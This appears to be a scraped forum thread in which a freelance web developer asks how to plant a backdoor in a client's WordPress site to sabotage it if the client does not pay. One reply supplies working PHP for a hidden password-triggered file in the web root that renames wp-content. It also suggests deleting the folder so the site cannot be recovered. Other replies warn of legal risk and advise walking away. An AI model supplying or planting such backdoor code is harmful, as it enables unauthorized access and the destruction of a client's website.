Backdoor code if customer don’t pay?

[ad_1]

hey, I have a customer who is a little weird. We have agreed on a prepayment, but I have already started with the website and am also finished with the design so far. Now the prepayment is still not there and I sent him today again a reminder for the deposit, now he does not write me back. Can also be that the guy is just a little chaotic, but I have a bad feeling.

​

I still have access to the wordpress website and I read somewhere, in some reddit post, that there is something like a backdoor code that I can embed and then destroy the website after x days. Anybody has any idea?

[ad_2]
7 Comments
  1. “Can also be that the guy is just a little chaotic, but I have a bad feeling.”
    Then take your work back and walk away.
    He’s not a client.

  2. Simple, just put some php file in the root folder like so “[https://example.com/testes.php?pw=my-super-secret-password]”:

    `<?php`

    `if ($_GET[‘pw’] === ‘my-super-secret-password’) { rename(realpath(dirname(__FILE__)).’/wp-content’,realpath(dirname(__FILE__)).’/tempcontent’); }`

    Everything is still there, he just don’t know it’s there. You can come in to fix it later. If you want to be malicious/unrecoverable, then just change rename to delete entire wp-content folder glob (look up how to do glob entire folder and delete online). Make sure you test it first to be sure it work. And backup before you do the tests.

  3. > customer who is a little weird.

    Do you have a contract that says you can take down his site for non-payment?

    I’m betting you don’t, and if you do it without legally covering your ass you are begging for the client to take you to court. Is the ~~site~~ money worth the hassle?

    In the end I think all you can do is remove your work and return the site to its prior state and if he has a backup you’re probably out of luck.

 

This site will teach you how to build a WordPress website for beginners. We will cover everything from installing WordPress to adding pages, posts, and images to your site. You will learn how to customize your site with themes and plugins, as well as how to market your site online.

Buy WordPress Transfer